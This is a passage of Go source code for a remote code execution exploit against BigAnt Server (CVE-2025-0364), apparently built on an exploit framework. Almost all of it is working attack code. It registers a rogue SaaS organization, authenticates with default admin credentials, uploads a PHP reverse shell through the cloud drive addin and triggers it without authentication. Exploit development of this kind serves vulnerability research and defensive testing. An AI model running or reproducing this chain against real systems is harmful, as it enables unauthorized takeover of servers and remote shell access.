`) {
output.PrintfError("RunExploit failed, the addin authentication failed: body=%s", body)
return false
}
return true
}
func getAddinPath(session, org string, conf *config.Config) (string, bool) {
url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, saasAddinGetPath)
headers := map[string]string{
"Cookie": "PHPSESSID=" + session + "; saas=" + org + ";",
}
resp, body, ok := protocol.HTTPSendAndRecvWithHeaders("GET", url, "", headers)
if !ok || resp == nil {
output.PrintfError("RunExploit failed, the addin page visit failed: resp=%#v", resp)
return "", false
}
if resp.StatusCode != 200 {
output.PrintfError("RunExploit failed, the addin page visit failed: resp=%#v", resp)
return "", false
}
matches := addinRootIDRegex.FindStringSubmatch(body)
if len(matches) < 2 {
output.PrintError("Could not find the root UUID for the addin")
return "", false
}
return matches[1], true
}
func uploadPayload(session, name, root, orgSSID, filename, generated string, conf *config.Config) (string, bool) {
url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, saasAddinUploadPHP)
form, w := protocol.MultipartCreateForm()
protocol.MultipartAddFile(w, "file_input[]", filename, "application/x-php", generated)
protocol.MultipartAddField(w, "root_id", root)
protocol.MultipartAddField(w, "folder_id", "0")
protocol.MultipartAddField(w, "folder_path_id", "")
protocol.MultipartAddField(w, "folder_path_name", "")
protocol.MultipartAddField(w, "user_id", "1")
protocol.MultipartAddField(w, "user_name", "System Admin")
protocol.MultipartAddField(w, "saas_id", orgSSID)
protocol.MultipartAddField(w, "saas_dbname", "antdbms_"+name)
protocol.MultipartAddField(w, "client_id", "1")
protocol.MultipartAddField(w, "platform", "phone")
protocol.MultipartAddField(w, "isRename", "1")
w.Close()
headers := map[string]string{
"Content-Type": w.FormDataContentType(),
"Cookie": "PHPSESSID=" + session + "; saas=" + name + ";",
}
resp, body, ok := protocol.HTTPSendAndRecvWithHeaders("POST", url, form.String(), headers)
if !ok || resp == nil {
output.PrintfError("RunExploit failed, the addin upload failed: resp=%#v", resp)
return "", false
}
if resp.StatusCode != 200 {
output.PrintfError("RunExploit failed, the addin upload failed: resp=%#v body=%s", resp, body)
return "", false
}
if strings.Contains(body, filename) {
serverDate, err := time.Parse(time.RFC1123, resp.Header.Get("Date"))
if err != nil {
output.PrintfDebug("Date parse error: %s", err.Error())
}
if serverDate.IsZero() {
serverDate = time.Now()
}
return serverDate.Format("2006-01-02"), true
}
return "", false
}
func triggerPayload(orgSSID, root, date, filename string, conf *config.Config) bool {
url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, fmt.Sprintf(saasAddinTriggerPHP, orgSSID, root, date, filename))
output.PrintfStatus("Requesting final payload at: %s", url)
_, _, ok := protocol.HTTPSendAndRecv("GET", url, "")
return ok
}
func (sploit BigAntSaaSRegRCE) RunExploit(conf *config.Config) bool {
// Steps for exploitation:
//
// 1. Get the CAPTCHA and CSRF tokens
// 2. Solve CAPTCHA manually
// 3. Register a new SaaS organization with 1 & 2 with generated settings, save cookies
// 4. In a new session, request the login page with a `saas=` set to the new organization in 3
// 5. Use the session cookie from 4 with the saas cookie still set to request the demo page that
// displays SaaS UUID
// 6. Activate the registered organization with the UUID in 5
// 7. Authenticate to the "Cloud Drive" page with the `admin:123456` account with the new org
// 8. Get the Cloud Drive root IDs, UUIDs, and path information
// 9. Upload a PHP reverse shell, note the paths and upload dates
// 10. Trigger the PHP shell with the paths without auth
if conf.GetStringFlag("captcha") == "" ||
conf.GetStringFlag("captcha-hash") == "" ||
conf.GetStringFlag("captcha-session") == "" {
output.PrintStatus("CAPTCHA flags not set, retrieving captcha-hash")
hash, session, url, ok := getSaaSRegistration(conf)
if !ok {
return false
}
output.PrintfStatus("Open the following page in a browser and solve the CAPTCHA: %s", url)
output.PrintfStatus("Solve CAPTCHA and pass the following flags to this exploit: `-captcha-hash %s -captcha-session %s -captcha `", hash, session)
// Still return false
return false
}
name := strings.ToUpper(random.RandLetters(6))
email := strings.ToLower(random.RandLetters(4) + `@` + random.RandLetters(8) + `.com`)
password := conf.GetStringFlag("password")
if password == "" {
password = random.RandLetters(10)
output.PrintfStatus("Password that will be used for authentication: %s", password)
}
output.PrintfStatus("Registering SaaS org: %s (%s) with password: %s", name, email, password)
ok := registerSaaSOrg(name, email, password, conf)
if !ok {
return false
}
// Sets the SaaS org in a new session, this is necessary to get the UUID of the correct SaaS org
// and if this isn't done it will always set the session to the first SaaS org in the database,
// which is not a retrievable value by name.
output.PrintStatus("Getting new PHP session and pinning the SaaS org to the session")
orgSession, ok := setSessionSaaSOrg(name, conf)
if !ok {
return false
}
output.PrintfStatus("Retrieving org SSID from demo page with session %s", orgSession)
orgSSID, ok := getSaaSIDFromDemo(orgSession, name, conf)
if !ok {
return false
}
output.PrintfStatus("Retrieved SSID for %s: %s", name, orgSSID)
output.PrintStatus("Activating SaaS organization")
ok = activateSaaSOrg(orgSession, orgSSID, conf)
if !ok {
return false
}
output.PrintStatus("Authenticating to the addin SaaS admin")
ok = authenticateAddin(orgSession, name, password, conf)
if !ok {
return false
}
output.PrintStatus("Visiting SaaS addin cloud drive page")
rootID, ok := getAddinPath(orgSession, name, conf)
if !ok {
return false
}
output.PrintfStatus("Got cloud drive root path UUID: %s", rootID)
generated, ok := generatePayload(conf)
if !ok {
return false
}
filename := random.RandLetters(10) + ".php"
output.PrintfStatus("Attempting to upload `%s` to cloud drive addin", filename)
date, ok := uploadPayload(orgSession, name, rootID, orgSSID, filename, generated, conf)
if !ok {
return false
}
output.PrintStatus("Attempting to trigger final payload, timeout is expected after callback")
return triggerPayload(orgSSID, rootID, date, filename, conf)
}
func main() {
supportedC2 := []c2.Impl{
c2.SSLShellServer,
c2.SimpleShellServer,
}
conf := config.NewRemoteExploit(
config.ImplementedFeatures{AssetDetection: true, VersionScanning: true, Exploitation: true},
config.CodeExecution, supportedC2,
"Bigantsoft", []string{"Bigant Server"},
[]string{"cpe:2.3:a:bigantsoft:bigant_server"}, "CVE-2025-0364", "HTTP", 8000)
conf.CreateStringFlag("captcha", "", "The registration page CAPTCHA value, if not set it will be retrieved along with the CAPTCHA image")
conf.CreateStringFlag("captcha-hash", "", "The registration page CAPTCHA hash-id, if not set it will be retrieved along with the CAPTCHA image")
conf.CreateStringFlag("captcha-session", "", "The registration session for CAPTCHA, if not set it will be retrieved along with the CAPTCHA image")
conf.CreateStringFlag("password", "", "The password to set for the created administrator")
sploit := BigAntSaaSRegRCE{}
exploit.RunProgram(sploit, conf)
}